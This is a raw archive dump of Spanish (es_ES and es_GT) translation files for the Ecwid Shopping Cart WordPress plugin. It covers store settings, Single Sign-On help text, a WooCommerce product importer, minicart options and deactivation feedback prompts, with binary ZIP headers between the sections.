Store�Ecwid Vertical Categories�Enable minicart attached to horizontal categories�Enter your Store ID�Enter your Store ID here:�Find your Store ID�Free�General�General settings�Get help�Go to Ecwid site�Greetings!�Grid�Grid view�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products.�I already have Ecwid account, sign in�In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at "System Settings > API > Single Sign-On API" page. This feature is available for <a href="http://www.ecwid.com/compare-plans.html" target="_blank">paid users</a> only.�In order to set this option, <a %s>find an ID of the necessary category</a> and save it here.�List�List view�Manage my store�Manage plugin settings�Number of categories per row�Number of products per page�Or you can add search box to your website's toolbar using <a href="%s">WordPress native widgets</a>�Or you can add vertical categories to your website's toolbar using <a href="%s">WordPress native widgets</a>�Paid�Questions? Visit <a href="http://help.ecwid.com/?source=wporg">Ecwid support center</a>�Register at Ecwid�Save and connect your Ecwid store to the site�Save changes�Single Sign-On Secret Key�Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website.�Store�Store ID�Store ID is a unique identifier of any Ecwid store, it consists of several digits. You can find it on the "Dashboard" page of Ecwid control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store root category�Table�Table view�Thank you for choosing Ecwid to build your online store�Thank you for supporting Ecwid!�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�Upgrade to get access to cool premium features.�Vertical menu of categories�Visit storefront�You should disable this option, if you added minicart to your website's sidebar�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your Ecwid store is connected to your WordPress website�Your Ecwid store is now connected to your WordPress website�Your store's minicart�Your store's search box�→ Sell on Facebook�<strong>Ecwid la tarjeta de compras Ecwid está casi lista </strong>. Por favor visite <a target="_blank" href="%s">la página creada </a> para ver su tienda con productos de demostración. Para finalizar la instalación, por favor vaya a <a href="admin.php?page=ecwid"><strong>ajustes Ecwid</strong></a> y configure la conexión.�Estado de cuenta�Avanzadas�Opciones avanzadas�Aspecto�Opciones de aspecto�Por defecto, la entrada principal muestra una lista de categorías de raíz. Puede anular este comportamiento y mostrar una categoría diferente cuando los clientes abren su tienda por primera vez. Es útil si usted tiene una sola categoría o quiere mostrar un conjunto específico de elementos (por ejemplo, "productos destacados") para todos los nuevos visitantes.�Categoría mostrada por defecto�Enhorabuena!�Panel de control�Crear una nueva cuenta Ecwid que utilizará para gestionar su tienda e inventario. El registro es gratuíto.�Crear una nueva cuenta Ecwid�Identificación de categoría estandar�Vista del modo predefinido en páginas de productos�Vista del modo predefinido en búsqueda de resultados�Mostrar categorías horizontales sobre los productos�Mostrar caja de búsqueda de productos de arriba�Caja de búsqueda Ecwid�Bolsa de compras Ecwid (Mini vista)�Bolsa de compras Ecwid (Normal)�Carro de compras Ecwid — Opciones avanzadas�Tarjeta de Compras Ecwid — Ajustes de apariencia�Carro de Compras Ecwid — Configuración general�Tienda Ecwid�Categorías verticales Ecwid�Active minicarrito unido a las categorías horizontales �Introduzca la Identificación de su tienda �Introduzca la Identificación de su tienda aquí:�Encuentre la Identificación de su tienda�Gratis�General�Configuración general�Obtener ayuda�Ir al sitio Ecwid�Saludos!�Cuadro�Vista de cuadro�Aquí usted puede controlar cuantos productos serán mostrados por página. Estas opciones definen valores maximos. Si no hay suficiente espacio para mostrar todas las cdolumnas de produtos, Ecwid adaptará el número de columnas para contener todos los productos.�Ya tengo una cuenta Ecwid, registrar�Para activar esta característica usted debería enviar una clave secreta. Encontrará esta clave en su panel de control Ecwid, en la página "Configurac​ión del sistema > API > Single Sign-on API" . Esta característica está disponible sólo para <a href="http://www.ecwid.com/compare-plans.html" target="_blank">utilizadores de pago</a>.�Para fijar esta opción, <a %s> encuentre una identificación de la categoría necesaria </a> y guárdela aquí.�Lista�Vista de lista�Gestionar mi tienda�Administrar la configuración de conexión�Número de categorías por fila�Número dde productos por página�O puede añadir una caja de búsqueda a la barra de herramientas de su página web utilizando <a href="%s">WordPress native widgets</a>�O puede añadir categorías verticales a la barra de herramientas de su página utilizando <a href="%s">WordPress native widgets</a>�Pagado�Preguntas? Visite <a href="http://help.ecwid.com/?source=wporg">el centro de ayuda Ecwid</a>�Registrarse en Ecwid�Guarde y conecte su tienda Ecwid al site�Guardar los cambios�Clave única secreta de registro�Esta característica opcional le permite activar la inscripción única: cuando los clientes han iniciado sesión en su página, también inician sesión automáticamente en su tienda Ecwid, incluso si antes no tenían una cuenta en la tienda. Tiene sentido activar esta característica, si sus visitantes en efecto crean cuentas en su página WordPress.�Tienda�Identificación de tienda�El Identificador de su tienda es un Identificador único de cualquier tienda Ecwid, consiste en varios dígitos. Puede encontrarlo en la página "Dashboard" del panel de control Ecwid. Además la Identificación de la Tienda le será enviada en el e-mail de bienvenida después del registro.�Categoría raíz de la tienda�Tabla�Vista de tabla�Gracias por elegir Ecwid para cosntruir su tienda online�Gracias por apoyar a Ecwid!�El primer paso para abrir su negocio online: <br /> Vamos a empezar y añadir una tienda a su página web WordPress en <strong>3</strong> simples pasos.�Actualice para obtener acceso a interesantes funciones avanzadas.�Menú vertical de categorías�Visitar escaparate�Debería desabilitar esta opción, si añade un minicarro a su página web barra lateral�Será además capaz de inscribirse a través de su perfil Google, Facebook o PayPal.�Su tienda Ecwid está conectadaa su página web WordPress�Su tienda Ecwid está conectada a su página web WordPress�Mini carro de su tienda�Caja de búsqueda de tu tienda�→ Vender en Facebook�PK������Ê—[¼TSQ*��Q*��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_ES.ponu�„[µü¤�������� msgid "Ecwid Shopping Cart" msgstr "" msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "" msgid "Ecwid Team" msgstr "" msgid "Get help" msgstr "Obtener ayuda" msgid "Go to Ecwid site" msgstr "Ir al sitio Ecwid" msgid "Visit storefront" msgstr "Visitar escaparate" msgid "Manage my store" msgstr "Gestionar mi tienda" msgid "Manage plugin settings" msgstr "Administrar la configuración de conexión" msgid "→ Sell on Facebook" msgstr "→ Vender en Facebook" msgid "Online store powered by <a %s>Ecwid</a>" msgstr "" msgid "Store" msgstr "Tienda" msgid "<strong>Ecwid shopping cart is almost ready</strong>. Please visit <a target=\"_blank\" href=\"%s\">the created page</a> to see your store with demo products. In order to finish the installation, please go to the <a href=\"admin.php?page=ecwid\"><strong>Ecwid settings</strong></a> and configure the plugin." msgstr "<strong>Ecwid la tarjeta de compras Ecwid está casi lista </strong>. Por favor visite <a target=\"_blank\" href=\"%s\">la página creada </a> para ver su tienda con productos de demostración. Para finalizar la instalación, por favor vaya a <a href=\"admin.php?page=ecwid\"><strong>ajustes Ecwid</strong></a> y configure la conexión." msgid "Do you like your Ecwid online store? We'd appreciate it if you <a %s>add your review and vote</a> for the plugin on Wordpress site. (<a id=\"hide-vote-message\">Close</a> and do not show this message anymore)" msgstr "" msgid "Ecwid shopping cart settings" msgstr "" msgid "Ecwid Store" msgstr "Tienda Ecwid" msgid "General settings" msgstr "Configuración general" msgid "General" msgstr "General" msgid "Appearance settings" msgstr "Opciones de aspecto" msgid "Appearance" msgstr "Aspecto" msgid "Advanced settings" msgstr "Opciones avanzadas" msgid "Advanced" msgstr "Avanzadas" msgid "Setup" msgstr "" msgid "Your store's minicart" msgstr "Mini carro de su tienda" msgid "Ecwid Shopping Bag (Normal)" msgstr "Bolsa de compras Ecwid (Normal)" msgid "Ecwid Shopping Bag (Mini view)" msgstr "Bolsa de compras Ecwid (Mini vista)" msgid "Your store's search box" msgstr "Caja de búsqueda de tu tienda" msgid "Ecwid Search Box" msgstr "Caja de búsqueda Ecwid" msgid "Vertical menu of categories" msgstr "Menú vertical de categorías" msgid "Ecwid Vertical Categories" msgstr "Categorías verticales Ecwid" msgid "Price" msgstr "" msgid "Ecwid Shopping Cart — Advanced settings" msgstr "Carro de compras Ecwid — Opciones avanzadas" msgid "Category shown by default" msgstr "Categoría mostrada por defecto" msgid "Store root category" msgstr "Categoría raíz de la tienda" msgid "Default category ID" msgstr "Identificación de categoría estandar" msgid "By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. \"Featured Products\") to new visitors." msgstr "Por defecto, la entrada principal muestra una lista de categorías de raíz. Puede anular este comportamiento y mostrar una categoría diferente cuando los clientes abren su tienda por primera vez. Es útil si usted tiene una sola categoría o quiere mostrar un conjunto específico de elementos (por ejemplo, \"productos destacados\") para todos los nuevos visitantes." msgid "In order to set this option, <a %s>find an ID of the necessary category</a> and save it here." msgstr "Para fijar esta opción, <a %s> encuentre una identificación de la categoría necesaria </a> y guárdela aquí." msgid "Single Sign-On Secret Key" msgstr "Clave única secreta de registro" msgid "Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website." msgstr "Esta característica opcional le permite activar la inscripción única: cuando los clientes han iniciado sesión en su página, también inician sesión automáticamente en su tienda Ecwid, incluso si antes no tenían una cuenta en la tienda. Tiene sentido activar esta característica, si sus visitantes en efecto crean cuentas en su página WordPress." msgid "In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at \"System Settings > API > Single Sign-On API\" page. This feature is available for <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">paid users</a> only." msgstr "Para activar esta característica usted debería enviar una clave secreta. Encontrará esta clave en su panel de control Ecwid, en la página \"Configurac​ión del sistema > API > Single Sign-on API\" . Esta característica está disponible sólo para <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">utilizadores de pago</a>." msgid "Save changes" msgstr "Guardar los cambios" msgid "Ecwid Shopping Cart — Appearance settings" msgstr "Tarjeta de Compras Ecwid — Ajustes de apariencia" msgid "Display search box above products" msgstr "Mostrar caja de búsqueda de productos de arriba" msgid "Or you can add search box to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "O puede añadir una caja de búsqueda a la barra de herramientas de su página web utilizando <a href=\"%s\">WordPress native widgets</a>" msgid "Display horizontal categories above products" msgstr "Mostrar categorías horizontales sobre los productos" msgid "Or you can add vertical categories to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "O puede añadir categorías verticales a la barra de herramientas de su página utilizando <a href=\"%s\">WordPress native widgets</a>" msgid "Enable minicart attached to horizontal categories" msgstr "Active minicarrito unido a las categorías horizontales " msgid "You should disable this option, if you added minicart to your website's sidebar" msgstr "Debería desabilitar esta opción, si añade un minicarro a su página web barra lateral" msgid "Number of categories per row" msgstr "Número de categorías por fila" msgid "Number of products per page" msgstr "Número dde productos por página" msgid "Grid view" msgstr "Vista de cuadro" msgid "List view" msgstr "Vista de lista" msgid "Table view" msgstr "Vista de tabla" msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products." msgstr "Aquí usted puede controlar cuantos productos serán mostrados por página. Estas opciones definen valores maximos. Si no hay suficiente espacio para mostrar todas las cdolumnas de produtos, Ecwid adaptará el número de columnas para contener todos los productos." msgid "Default view mode on product pages" msgstr "Vista del modo predefinido en páginas de productos" msgid "Grid" msgstr "Cuadro" msgid "List" msgstr "Lista" msgid "Table" msgstr "Tabla" msgid "Default view mode on search results" msgstr "Vista del modo predefinido en búsqueda de resultados" msgid "Store powered by Ecwid" msgstr "" msgid "Ecwid Shopping Cart — General settings" msgstr "Carro de Compras Ecwid — Configuración general" msgid "Thank you for choosing Ecwid to build your online store" msgstr "Gracias por elegir Ecwid para cosntruir su tienda online" msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio online: <br /> Vamos a empezar y añadir una tienda a su página web WordPress en <strong>3</strong> simples pasos." msgid "Register at Ecwid" msgstr "Registrarse en Ecwid" msgid "Create a new Ecwid account which you will use to manage your store and inventory. The registration is free." msgstr "Crear una nueva cuenta Ecwid que utilizará para gestionar su tienda e inventario. El registro es gratuíto." msgid "Create new Ecwid account" msgstr "Crear una nueva cuenta Ecwid" msgid "I already have Ecwid account, sign in" msgstr "Ya tengo una cuenta Ecwid, registrar" msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "Será además capaz de inscribirse a través de su perfil Google, Facebook o PayPal." msgid "Find your Store ID" msgstr "Encuentre la Identificación de su tienda" msgid "Store ID is a unique identifier of any Ecwid store, it consists of several digits. You can find it on the \"Dashboard\" page of Ecwid control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El Identificador de su tienda es un Identificador único de cualquier tienda Ecwid, consiste en varios dígitos. Puede encontrarlo en la página \"Dashboard\" del panel de control Ecwid. Además la Identificación de la Tienda le será enviada en el e-mail de bienvenida después del registro." msgid "Enter your Store ID" msgstr "Introduzca la Identificación de su tienda " msgid "Enter your Store ID here:" msgstr "Introduzca la Identificación de su tienda aquí:" msgid "Store ID" msgstr "Identificación de tienda" msgid "Save and connect your Ecwid store to the site" msgstr "Guarde y conecte su tienda Ecwid al site" msgid "Questions? Visit <a href=\"http://help.ecwid.com/?source=wporg\">Ecwid support center</a>" msgstr "Preguntas? Visite <a href=\"http://help.ecwid.com/?source=wporg\">el centro de ayuda Ecwid</a>" msgid "Congratulations!" msgstr "Enhorabuena!" msgid "Your Ecwid store is now connected to your WordPress website" msgstr "Su tienda Ecwid está conectada a su página web WordPress" msgid "Greetings!" msgstr "Saludos!" msgid "Your Ecwid store is connected to your WordPress website" msgstr "Su tienda Ecwid está conectadaa su página web WordPress" msgid "Control panel" msgstr "Panel de control" msgid "Account status" msgstr "Estado de cuenta" msgid "Paid" msgstr "Pagado" msgid "Free" msgstr "Gratis" msgid "Thank you for supporting Ecwid!" msgstr "Gracias por apoyar a Ecwid!" msgid "Upgrade to get access to cool premium features." msgstr "Actualice para obtener acceso a interesantes funciones avanzadas." msgid "Billing and plans" msgstr "" msgid "Upgrade" msgstr "" msgid "If you want to connect another Ecwid store, you can <a %s>disconnect the current one and change Store ID</a>." msgstr "" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_GT.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "El complemento no es compatible con la función que quiero" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Tengo un problema con el uso de este complemento" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Antes de que se vaya" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 